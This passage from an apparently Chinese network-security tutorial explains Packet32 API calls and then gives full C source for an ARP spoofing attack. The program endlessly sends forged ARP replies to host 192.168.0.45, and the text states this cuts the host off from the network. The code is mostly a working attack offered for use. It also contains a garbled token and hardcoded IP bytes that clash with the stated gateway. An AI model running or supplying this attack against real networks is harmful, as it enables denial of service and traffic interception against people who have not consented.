(3)PacketAllocatePacket。当网卡被成功打开之后,就可以调用PacketAllocatePacket函数为PACKET结构分配空间了。该函数的具体格式如下:
LPPACKET PacketAllocatePacket(void);
该函数没有参数。其调用方式如下:
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket Send Error\n");
return -1;
}
如果调用成功,则返回指向_PACKET结构的指针,否则将返回NULL。PacketAllocatePacket函数返回的LPPACKET结构中有指向要发送的数据包(sendbuf)的字段。
该结构的具体定义如下:
typedef struct _PACKET
{
HANDLE hEvent; // 向后兼容
OVERLAPPED OverLapped; // 向后兼容
PVOID Buffer; // 存放Packet的缓冲区
UINT Length; // 缓冲区的大小
DWORD ulBytesReceived; // 当前缓冲区中有效的字节数,如上一次调用
PacketReceivePacket()函数接收到的字节数
BOOLEAN bIoComplete // 向后兼容
} PACKET, *LPPACKET;
(4)PacketInitPacket。在得到PACKET结构指针后,就可以调用PacketInitPacket函数初始化PACKET结构。该函数的具体格式如下:
VOID PacketInitPacket(
LPPACKET lpPacket,
PVOID Buffer,
UINT Length);
该函数包含各个参数的具体作用如下。
lpPacket:该参数指向一个PACKET结构,结构指针由PacketAllocatePacket函数返回。
Buffer:该参数作用是设置要发送数据包的缓冲区,这里设置为sendbuf。
Length:设置缓冲区的长度。
该函数没有返回值,该函数调用完后会把Buffer参数所指向的缓冲区,填充到PACKET结构中的Buffer字段中。
(5)PacketSendPacket。初始化PACKET结构之后,就可以调用PacketSendPacket函数来发送伪造好的ARP数据包了,该函数的具体格式如下:
BOOLEAN PacketSendPacket (
LPADAPTER AdapterObject,
LPPACKET lpPacket,
BOOLEAN Sync)
其中各个参数的具体作用如下。
AdapterObject:该参数指向一个_ADAPTER结构的指针,该结构由PacketOpenAdapter函数返回。
lpPacket:该参数指向一个_PACKET结构,该结构由PacketAllocatePacket函数返回。
Sync:该参数作用是向后兼容,设置为True即可。
如果该函数调用成功则会返回一个非0值,否则返回0。
(6)PacketCloseAdapter。在数据发送完毕后,需调用PacketCloseAdapter函数关闭打开的网卡。该函数只有一个参数,指向由PacketOPenAdapter函数返回的_ADAPTER结构指针。
4、实现ARP攻击
要实现ARP攻击,还需要在VC中引入Packet32编程包中相应的头文件和连接文件。
下面是利用Packet32实现ARP攻击的实现代码:
#include "stdafx.h"
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#include "Iphlpapi.h"
#pragma comment(lib, "Iphlpapi.lib")
#include <Packet32.h>
#pragma comment(lib,"Packet.lib")
typedef struct ethdr
{
unsigned char eh_dst[6]; //目的MAC地址
unsigned char eh_src[6]; //源MAC地址
unsigned short eh_type; //帧类型
}ETHDR,*PETHDR;
typedef struct arphdr
{
unsigned short arp_hdr; //2字节硬件类型
unsigned short arp_pro; //2字节协议类型
unsigned char arp_hln; //1字节硬件地址长度
unsigned char arp_pln; //1字节协议地址长度
unsigned short arp_opt; //2字节操作类型
unsigned char arp_sha[6]; //6字节发送端MAC地址
unsigned char arp_spa[4]; //4字节发送端IP地址
unsigned char arp_tha[6]; //6字节目的MAC地址
unsigned char arp_tpa[4]; //4字节目的IP地址
}ARPHDR,*PARPHDR;
#define MAX_NUM_ADAPTER 10
char adapterlist[MAX_NUM_ADAPTER][1024];
BOOL GetLocMac(unsigned char *macaddr)
{
PIP_ADAPTER_INFO pAdapterInfo = NULL;
ULONG ulLen = 0;
GetAdaptersInfo(pAdapterInfo,&ulLen); // 得到要申请的堆栈空间大小
pAdapterInfo = (PIP_ADAPTER_INFO)GlobalAlloc(GPTR, ulLen); //申请所需的堆栈空间
if(GetAdaptersInfo(pAdapterInfo,&ulLen) == ERROR_SUCCESS) // 取得本地适配器结构信息
{
if(pAdapterInfo != NULL)
{
memcpy(macaddr, pAdapterInfo->Address, 6); //得到本地网卡MAC地址
return TRUE;
}
}
return FALSE;
}
BOOL GetDestMac(char *szDestIP,unsigned char *macaddr)
{
u_char arDestMac[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff };//用来保存目标主机MAC地址
ULONG ulLen = 6;
if(SendARP(inet_addr(szDestIP), 0, (ULONG*)arDestMac, &ulLen) == NO_ERROR) //得到目标主机MAC地址
{
memcpy(macaddr,arDestMac,6); //把MAC地址输出到参数
return TRUE;
}
return FALSE;
}
int main(int argc, char* argv[])
{
char AdapterName[8192]; //存放适配器名称
ULONG AdapterLength;
if(PacketGetAdapterNames(AdapterName,&AdapterLength)==FALSE) //得到所有网卡适配器名称
{
printf("PacketGetAdapterNames Error\n");
}
int adapternum=0,open,i;
char *name1,*name2;
name1=AdapterName;
name2=AdapterName;
i=0;
while((*name1!='\0') || (*(name1-1)!='\0')) //列举出所有网卡名称
{
if(*name1=='\0')
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf("Adapters Installed: \n");
for(i=0;i<adapternum;i++)//输出所有网卡名称
{
printf("%d - %s\n",i+1,adapterlist[i]);
}
do//由用户选择要打开的网卡
{
printf("\nSelect the number of the adapter to open: ");
scanf("%d",&open);
if(open>=1 && open<adapternum+1) //输入的网卡号必须大于1,小于所有网卡数加1
break;
}while(open<1 || open>adapternum);
LPADAPTER lpadapter=PacketOpenAdapter(adapterlist[open-1]); //打开选择的网卡
if(!lpadapter || (lpadapter->hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error\n");
return -1;
}
LPPACKET lppackets;
if((lppackets=PacketAllocatePacket())==FALSE) //为LPPACKET结构分配空间
{
printf("PacketAllocatePacket Send Error\n");
return -1;
}
ETHDR eth;
ARPHDR arp;
GetDestMac("192.168.0.45",eth.eh_dst); //目的MAC地址
GetLocMac(eth.eh_src); //源MAC地址
eth.eh_type=htons(0x0806); //帧类型
arp.arp_hdr=htons(0x0001); //硬件类型
arp.arp_pro=htons(0x0800); //协议类型
arp.arp_hln=6; //硬件地址长度
arp.arp_pln=4; //协议地址长度
arp.arp_opt=htons(0x0002); //操作类型
GetLocMac(arp.arp_sha); //发送端MAC地址
//发送端IP地址,设为网关的IP地址
arp.arp_spa[0]=121;
arp.arp_spa[1]=192;
arp.arp_spa[2]=17;
arp.arp_spa[3]=1;
GetDestMac("192.168.0.45",arp.arp_tha); //目标主机MAC地址
//目标主机MAC地址
arp.arp_tpa[0]=121;
arp.arp_tpa[1]=192;
arp.arp_tpa[2]=17;
arp.arp_tpa[3]=41;
char sendbuf[1024]={0};
memcpy(sendbuf,ð,sizeof(eth)); //把以太网首部和ARP报文都复制到sendbuf中,组成完整的ARP数据包
memcpy(sendbuf+sizeof(eth),&arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));//初始化LPPACKET结构
for (;;)//循环发送ARP攻击数据包
{
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in arpspoof Error: %d\n",GetLastError());
return -1;
}
Sleep(100);
}
PacketCloseAdapter(lpadapter); //关闭打开的网卡
return 0;
}
运行上述程序即可使IP地址为192.168.0.45的主机无法上网,从而实现ARP攻击。
微信公众号:计算机与网络安全
ID:Computer-network